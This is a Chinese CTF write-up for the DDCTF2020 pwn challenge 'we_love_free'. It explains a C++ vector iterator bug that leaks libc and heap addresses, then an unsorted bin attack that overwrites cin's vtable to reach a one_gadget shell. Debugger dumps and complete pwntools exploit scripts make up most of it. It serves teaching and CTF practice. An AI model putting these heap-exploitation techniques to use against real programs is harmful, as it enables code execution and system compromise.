DDCTF2020-PWN-we_love_free
本题涉及的知识点有vector的内存分配机制,malloc conlisdate的触发条件以及unsorted bin attackd和c++虚表
- 修改的时候存在越界写--》修改unsorted bin的bk
- 找到能够用到的虚表,提前在内存地址上布置好oneshot
vector
template<class _Ty,
class _Ax>
class vector
: public _Vector_val<_Ty, _Ax>
{ // varying size array of values
public:
/********/
protected:
pointer _Myfirst; // pointer to beginning of array
pointer _Mylast; // pointer to current end of sequence
pointer _Myend; // pointer to end of array
}
vector 的扩容规则是1,2,4,8,16,32,依次乘2个元素的时候会先申请新的空间,在把原来的数据拷贝到新申请的空间中,在释放原先的空间,对应申请的堆块大小(加上头部)0x20,0x20,0x30,0x50,0x90…..
函数add
unsigned __int64 add()
{
__int64 v0; // rax
char v2; // [rsp+0h] [rbp-10h]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Input your num:");
std::istream::operator>>(&std::cin, &v2);
emplace_back((__int64)&vector_605380, (__int64)&v2);
v0 = std::operator<<<std::char_traits<char>>(&std::cout, "ok!");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
return __readfsqword(0x28u) ^ v3;
}
每次添加一个元素,这里注意下emplace_back的实现,会比较当前容器的容量和end指针大小,如果没有剩余的空间就会重新扩展容器,否则将元素添加到末尾。
函数show
unsigned __int64 show()
{
v8 = 1;
iterator = vector_605380; // 漏洞点
push__back((__int64)&vector_605380, 0xAABBCCDDLL);
v9 = vector_605380 + 8;
qword_6053A0 = *(vector_605380 + 8) - 8 // 相当于取倒数第二个位置
while ( cmp_value((__int64)&iterator, (__int64)&qword_6053A0) )
{
v0 = *(_QWORD *)get_addr((__int64)&iterator);
cout<<v8++<<":"<<v0<<endl;
cout<<"Edit (y/n):";
v7 = cin;
if ( v7 == 'y' )
{
*iterator = cin;
}
iterator += 8;
}
}
- 需要注意以下几点:
- 每次进入show函数都会调用push__back函数加入一个0xAABBCCDDLL元素
- 如果之前分配的vector大小不够,会调用_M_emplace_back_aux扩展内存后再存储0xAABBCCDDLL
- 此时会将一些chunk free掉,比如第一次add元素后
0x605380: 0x0000000000ed4c20 0x0000000000ed4c28
【vector结构的start】 【vector结构的end】
0x605390: 0x0000000000ed4c28 0x0000000000000000
【vector结构的capacity】 【iterator】
pwndbg> x /40gx 0x0000000000ed4c00
0xed4c00: 0x0000000000000000 0x0000000000000000
0xed4c10: 0x0000000000000000 0x0000000000000021
0xed4c20: 0x000000000000000b 0x0000000000000000
0xed4c30: 0x0000000000000000 0x00000000000203d1
然后show,会添加一个元素,之前申请的大小不够用(capacity - end < 8),会将0xed4c10处的chunk释放掉重新分配一个chunk(虽然第一次申请的chunk大小其实够用,但是其容量是根据capacity - end 计算的,因此会重新申请)
pwndbg> x /30gx 0x605380
0x605380: 0x0000000000ed4c40 0x0000000000ed4c50
0x605390: 0x0000000000ed4c50 0x0000000000ed4c20
0x6053a0: 0x0000000000ed4c48
pwndbg> x /40gx 0x0000000000ed4c00
0xed4c00: 0x0000000000000000 0x0000000000000000
0xed4c10: 0x0000000000000000 0x0000000000000021 // freed chunk
0xed4c20: 0x0000000000000000 0x0000000000000000
0xed4c30: 0x0000000000000000 0x0000000000000021 // new chunk
0xed4c40: 0x000000000000000b 0x00000000aabbccdd
0xed4c50: 0x0000000000000000 0x00000000000203b1
漏洞点1
-
iterator在push__back前后代表的实际意义可能不一样
-
push_back函数可能导致之前的vector内存空间释放并返回新的内存指针
-
释放后的空间内容并没有清0
-
那么后续从iterator开始遍历的时候就可以leak处iterator变化前后的内存地址的内容
- 如果有free的unsortbin,那么就可以泄露出libc地址
- 如果有free的fastbin,那么就可以泄露heap地址
unsigned __int64 show()
{
v8 = 1;
iterator = vector_605380; // 漏洞点
push__back((__int64)&vector_605380, 0xAABBCCDDLL);
v9 = vector_605380 + 8;
qword_6053A0 = *(vector_605380 + 8) - 8 // 相当于取倒数第二个位置
while ( cmp_value((__int64)&iterator, (__int64)&qword_6053A0) )
{
v0 = *(_QWORD *)get_addr((__int64)&iterator);
cout<<v8++<<":"<<v0<<endl;
cout<<"Edit (y/n):";
v7 = cin;
if ( v7 == 'y' )
{
*iterator = cin;
}
iterator += 8;
}
}
漏洞点1利用
既然存在越界读,那么可以尝试构造一个unsortbin来leak出libc的地址:
- add足够多的元素,使得容器扩展过程中的free的chunk为unsortedbin
- 当add16个元素时,vector所占用空间大小正好为0x90且剩余容量为0:
pwndbg> x /30gx 0x605380
0x605380: 0x0000000001b6dce0 0x0000000001b6dd60
0x605390: 0x0000000001b6dd60 0x0000000000000000
pwndbg> x /90gx 0x1b6dcd0
0x1b6dcd0: 0x0000000000000000 0x0000000000000091
0x1b6dce0: 0x0000000000000000 0x0000000000000001
0x1b6dcf0: 0x0000000000000002 0x0000000000000003
0x1b6dd00: 0x0000000000000004 0x0000000000000005
0x1b6dd10: 0x0000000000000006 0x0000000000000007
0x1b6dd20: 0x0000000000000008 0x0000000000000009
0x1b6dd30: 0x000000000000000a 0x000000000000000b
0x1b6dd40: 0x000000000000000c 0x000000000000000d
0x1b6dd50: 0x000000000000000e 0x000000000000000f
0x1b6dd60: 0x0000000000000000 0x00000000000202a1
- 此时show,push_back正好会扩展且将之前的内存空间释放掉,进入unsorted bin
pwndbg> bins
fastbins
0x20: 0x1ae3c30 —▸ 0x1ae3c10 ◂— 0x0
0x30: 0x1ae3c50 ◂— 0x0
0x40: 0x0
0x50: 0x1ae3c80 ◂— 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x1ae3cd0 —▸ 0x7f60b55e4b78 (main_arena+88) ◂— 0x1ae3cd0
smallbins
empty
largebins
empty
pwndbg> x /90gx 0x1ae3c10
0x1ae3c10: 0x0000000000000000 0x0000000000000021
0x1ae3c20: 0x0000000000000000 0x0000000000000000
0x1ae3c30: 0x0000000000000000 0x0000000000000021
0x1ae3c40: 0x0000000001ae3c10 0x0000000000000001
0x1ae3c50: 0x0000000000000000 0x0000000000000031
0x1ae3c60: 0x0000000000000000 0x0000000000000001
0x1ae3c70: 0x0000000000000002 0x0000000000000003
0x1ae3c80: 0x0000000000000000 0x0000000000000051
0x1ae3c90: 0x0000000000000000 0x0000000000000001
0x1ae3ca0: 0x0000000000000002 0x0000000000000003
0x1ae3cb0: 0x0000000000000004 0x0000000000000005
0x1ae3cc0: 0x0000000000000006 0x0000000000000007
0x1ae3cd0: 0x0000000000000000 0x0000000000000091 // free chunk
0x1ae3ce0: 0x00007f60b55e4b78 0x00007f60b55e4b78
0x1ae3cf0: 0x0000000000000002 0x0000000000000003
0x1ae3d00: 0x0000000000000004 0x0000000000000005
0x1ae3d10: 0x0000000000000006 0x0000000000000007
0x1ae3d20: 0x0000000000000008 0x0000000000000009
0x1ae3d30: 0x000000000000000a 0x000000000000000b
0x1ae3d40: 0x000000000000000c 0x000000000000000d
0x1ae3d50: 0x000000000000000e 0x000000000000000f
0x1ae3d60: 0x0000000000000090 0x0000000000000110
0x1ae3d70: 0x0000000000000000 0x0000000000000001 // new chunk
0x1ae3d80: 0x0000000000000002 0x0000000000000003
0x1ae3d90: 0x0000000000000004 0x0000000000000005
0x1ae3da0: 0x0000000000000006 0x0000000000000007
0x1ae3db0: 0x0000000000000008 0x0000000000000009
0x1ae3dc0: 0x000000000000000a 0x000000000000000b
0x1ae3dd0: 0x000000000000000c 0x000000000000000d
0x1ae3de0: 0x000000000000000e 0x000000000000000f
0x1ae3df0: 0x0000000000000010 0x0000000000000000
0x1ae3e00: 0x0000000000000000 0x0000000000000000
0x1ae3e10: 0x0000000000000000 0x0000000000000000
0x1ae3e20: 0x0000000000000000 0x0000000000000000
0x1ae3e30: 0x0000000000000000 0x0000000000000000
0x1ae3e40: 0x0000000000000000 0x0000000000000000
0x1ae3e50: 0x0000000000000000 0x0000000000000000
0x1ae3e60: 0x0000000000000000 0x0000000000000000
0x1ae3e70: 0x0000000000000000 0x0000000000020191
pwndbg> x /30gx 0x605380
0x605380: 0x0000000001ae3d70 0x0000000001ae3df8
0x605390: 0x0000000001ae3e70 0x0000000000000000
- 此时clear,清空容器,会触发unsortbin的前向合并,将main_arena信息写入较低的堆地址
pwndbg> x /90gx 0x1ae3c00
0x1ae3c00: 0x0000000000000000 0x0000000000000000
0x1ae3c10: 0x0000000000000000 0x00000000000203f1
0x1ae3c20: 0x00007f60b55e4b78 0x00007f60b55e4b78
0x1ae3c30: 0x0000000000000000 0x0000000000000021
0x1ae3c40: 0x00007f60b55e4b78 0x00007f60b55e4b78
0x1ae3c50: 0x0000000000000040 0x0000000000000030
0x1ae3c60: 0x0000000000000000 0x0000000000000001
- 随后再次利用add一个元素申请0x20大小的chunk
pwndbg> x /90gx 0x1ae3c00
0x1ae3c00: 0x0000000000000000 0x0000000000000000
0x1ae3c10: 0x0000000000000000 0x0000000000000021
0x1ae3c20: 0x0000000000000001 0x00007f60b55e4b78
- 此时我们再次show,push_back的时候会释放容量不够的chunk:
- 此时我们利用iterator记录是的push_back之前的起始位置的漏洞
- 可以泄露紧邻的main arena地址0x00007f60b55e4b78
pwndbg> x /90gx 0x1ae3c00
0x1ae3c00: 0x0000000000000000 0x0000000000000000
0x1ae3c10: 0x0000000000000000 0x0000000000000021
0x1ae3c20: 0x0000000000000000 0x00007f60b55e4b78
【old iterator】
0x1ae3c30: 0x0000000000000000 0x0000000000000021
0x1ae3c40: 0x0000000000000001 0x00000000aabbccdd
0x1ae3c50: 0x0000000000000040 0x00000000000203b1
pwndbg> x /30gx 0x605380
0x605380: 0x0000000001ae3c40 0x0000000001ae3c50
0x605390: 0x0000000001ae3c50 0x0000000001ae3c20
0x6053a0: 0x0000000001ae3c48 0x0000000000000000
- 同理我们等这次show完毕后,再次show,会再次添加一个元素,将之前0x20大小的chunk释放掉
pwndbg> x /90gx 0x1ae3c00
0x1ae3c00: 0x0000000000000000 0x0000000000000000
0x1ae3c10: 0x0000000000000000 0x0000000000000021
0x1ae3c20: 0x0000000000000000 0x00007f60b55e4b78
0x1ae3c30: 0x0000000000000000 0x0000000000000021
0x1ae3c40: 0x0000000001ae3c10 0x00000000aabbccdd
0x1ae3c50: 0x0000000000000040 0x0000000000000031
0x1ae3c60: 0x0000000000000001 0x00000000aabbccdd
0x1ae3c70: 0x00000000aabbccdd 0x0000000000000003
0x1ae3c80: 0x0000000000000070 0x0000000000020381
pwndbg> x /30gx 0x605380
0x605380: 0x0000000001ae3c60 0x0000000001ae3c78
0x605390: 0x0000000001ae3c80 0x0000000001ae3c40
0x6053a0: 0x0000000001ae3c70 0x0000000000000000
pwndbg> bins
fastbins
0x20: 0x1ae3c30 —▸ 0x1ae3c10 ◂— 0x0
- 这样由于此时fastbins中存在两个chunk,我们就可以利用push_back的机制泄露出heap地址,具体代码如下:
#!/usr/bin/env python
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn1')
elf = ELF('./pwn1')
def add(num):
p.recv()
p.sendline("1")
p.recv()
p.sendline(num)
def clear():
p.recv()
p.sendline("3")
for x in range(17):
add(str(x))
clear()
add(str(1))
p.recv()
p.sendline("2")
p.recv()
p.sendline("n")
p.recvuntil("2:")
libc = p.recv()
libc = long(libc.replace('\nEdit (y/n):',"")) - 0x6cdb78
print 'libc ===>> ',hex(libc)
for x in range(4):
p.sendline("n")
p.sendline("2")
p.recvuntil("1:")
heap = p.recv()
heap = long(heap.replace('\nEdit (y/n):',"")) - 0x11c10
print 'heap ===>> ',hex(heap)
for x in range(6):
p.sendline("n")
gdb.attach(p)
p.interactive()
漏洞点2
利用push_back可能导致容器重新分配空间的机制,以及iteractor是在push_back之前计算的,因此可以在show的时候进行UAF,篡改堆块的头部,构造unsorted bin attack覆写cin或者cout的虚表
漏洞点2利用
- 先add16个元素,然后show的时候会触发vector的内存分配机制,将之前的0x50大小的chunk释放掉申请一个0x90大小的chunk,这样释放掉的chunk会进入unsorted bin
for x in range(16):
add(str(x))
"""
0xd6ecd0: 0x0000000000000000 0x0000000000000091 // start freed chunk
0xd6ece0: 0x00007ff4f6240b78 0x00007ff4f6240b78
0xd6ecf0: 0x0000000000000002 0x0000000000000003
0xd6ed00: 0x0000000000000004 0x0000000000000005
0xd6ed10: 0x0000000000000006 0x0000000000000007
0xd6ed20: 0x0000000000000008 0x0000000000000009
0xd6ed30: 0x000000000000000a 0x000000000000000b
0xd6ed40: 0x000000000000000c 0x000000000000000d
0xd6ed50: 0x000000000000000e 0x000000000000000f
0xd6ed60: 0x0000000000000090 0x0000000000000110 // after push_back extend chunk
0xd6ed70: 0x0000000000000000 0x0000000000000001 // we can modify this size
0xd6ed80: 0x0000000000000002 0x0000000000000003
0xd6ed90: 0x0000000000000004 0x0000000000000005
0xd6eda0: 0x0000000000000006 0x0000000000000007
0xd6edb0: 0x0000000000000008 0x0000000000000009
0xd6edc0: 0x000000000000000a 0x000000000000000b
0xd6edd0: 0x000000000000000c 0x000000000000000d
"""
p.sendline("2")
p.recv()
p.sendline("n")
p.recv()
p.sendline("y")
p.sendline(str(0x6051f8-0x10)) # freed chunk bk
for x in range(32):
p.sendline("y")
p.sendline(str(0x71)) # change uesd chunk smaller
clear()
# malloc a 0x90 unsorted bin
for i in range(0x8):
add(str(0xcafebabedeadbeef))
# add another one will free the unsorted bin malloced before and trigger malloc_consolidate
# and malloc_consolidate will wirte bk-0x10 with
add(str(0xcafebabedeadbeef))
gdb.attach(p)
p.interactive()
unsortd bin acttack
main_arene->bk --> unsortd bin的首个chunk
victim = unsorted_chunks(av)->bk // victim为free掉的p
bck = victim->bk; // bck 为 任意地址 -0x10 // cin的虚表-0x10
unsorted_chunks(av)->bk = bck; // 调整链表
bck->fd = unsorted_chunks(av); // 任意地址 -0x10 + 0x10 = unsortedbin
// 而unsortedbin对应的内存地址上可以是我们提前布置好的内容
调试cin虚表
在data段上有指针指向他们虚表, 原本的执行情况:
0x6051e0 <_ZSt3cin+224>: 0x00007fbbb4be67a0 0x0000000000605240
0x6051f0 <_ZSt3cin+240>: 0x0000000000000000 0x00007fbbb4be47c0 // 覆写位置 虚表
0x605200 <_ZSt3cin+256>: 0x00007fbbb4be61c0 0x00007fbbb4be6150
0x605210 <_ZSt3cin+272>: 0x00007fbbb4be6160 0x0000000000000000
0x605220 <stdin>: 0x00007fbbb464a8e0 0x0000000000000000
0x605230: 0x0000000000000000 0x0000000000000000
pwndbg> x /10gx 0x00007fbbb4be47c0
0x7fbbb4be47c0: 0x00007fbbb4bde080 0x0000000000000000
0x7fbbb4be47d0: 0x0000000000000000 0x0000000000000000
0x7fbbb4be47e0: 0x0000000000000000 0x0000000000000000
0x7fbbb4be47f0: 0x0000000000000000 0x00007fbbb4be67a0 // 执行的代码
0x7fbbb4be4800: 0x00007fbbb464a8e0 0x000000000000000a
使用unsorted bin attack修改其为main arena的一个地址,会报错:Invalid address 0x4148
0x6051e0 <_ZSt3cin+224>: 0x00007fcbfc6fc7a0 0x0000000000605240
0x6051f0 <_ZSt3cin+240>: 0x0000000000000000 0x00007fcbfc160b78 // unsorted bin attack
0x605200 <_ZSt3cin+256>: 0x00007fcbfc6fc1c0 0x00007fcbfc6fc150
0x605210 <_ZSt3cin+272>: 0x00007fcbfc6fc160 0x0000000000000000
0x605220 <stdin>: 0x00007fcbfc1608e0 0x0000000000000000
0x605230: 0x0000000000000000 0x0000000000000000
pwndbg> x /gx 0x00007fcbfc160b78
0x7fcbfc160b78 <main_arena+88>: 0x0000000000f3fe70
pwndbg> x /30gx 0x0000000000f3fe70
0xf3fe70: 0x00000000000001a0 0x0000000000020191
0xf3fe80: 0x0000000000004141 0x0000000000004142
0xf3fe90: 0x0000000000004143 0x0000000000004144
0xf3fea0: 0x0000000000004145 0x0000000000004146
0xf3feb0: 0x0000000000004147 0x0000000000004148 // 实际代码执行位置
因此只需要提前布置onshot即可
exp
#!/usr/bin/env python
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn1')
elf = ELF('./pwn1')
def add(num):
p.recv()
p.sendline("1")
p.recv()
p.sendline(num)
def clear():
p.recv()
p.sendline("3")
for x in range(17):
add(str(x))
clear()
add(str(1))
p.recv()
p.sendline("2")
p.recv()
p.sendline("n")
p.recvuntil("2:")
libc = p.recv()
libc = long(libc.replace('\nEdit (y/n):',"")) - 0x6cdb78 + 0x309000
print 'libc ===>> ',hex(libc)
for x in range(4):
p.sendline("n")
p.sendline("2")
p.recvuntil("1:")
heap = p.recv()
heap = long(heap.replace('\nEdit (y/n):',"")) - 0x11c10
print 'heap ===>> ',hex(heap)
for x in range(6):
p.sendline("n")
clear()
for i in range(0x21):
add(str(0x4526a+libc))
clear()
for x in range(16):
add(str(x))
"""
0xd6ecd0: 0x0000000000000000 0x0000000000000091 // start freed chunk
0xd6ece0: 0x00007ff4f6240b78 0x00007ff4f6240b78
0xd6ecf0: 0x0000000000000002 0x0000000000000003
0xd6ed00: 0x0000000000000004 0x0000000000000005
0xd6ed10: 0x0000000000000006 0x0000000000000007
0xd6ed20: 0x0000000000000008 0x0000000000000009
0xd6ed30: 0x000000000000000a 0x000000000000000b
0xd6ed40: 0x000000000000000c 0x000000000000000d
0xd6ed50: 0x000000000000000e 0x000000000000000f
0xd6ed60: 0x0000000000000090 0x0000000000000110 // after push_back extend chunk
0xd6ed70: 0x0000000000000000 0x0000000000000001 // we can modify this size
0xd6ed80: 0x0000000000000002 0x0000000000000003
0xd6ed90: 0x0000000000000004 0x0000000000000005
0xd6eda0: 0x0000000000000006 0x0000000000000007
0xd6edb0: 0x0000000000000008 0x0000000000000009
0xd6edc0: 0x000000000000000a 0x000000000000000b
0xd6edd0: 0x000000000000000c 0x000000000000000d
"""
p.sendline("2")
p.recv()
p.sendline("n")
p.recv()
p.sendline("y")
p.sendline(str(0x6051f8-0x10)) # freed chunk bk
for x in range(32):
p.sendline("y")
p.sendline(str(0x71)) # change uesd chunk smaller
clear()
# malloc a 0x90 unsorted bin
for i in range(0x8):
add(str(0xcafebabedeadbeef))
# add another one will free the unsorted bin malloced before and trigger malloc_consolidate
# and malloc_consolidate will wirte bk-0x10 with
add(str(0xcafebabedeadbeef))
gdb.attach(p)
p.interactive()
"""
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ) // ok
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
"""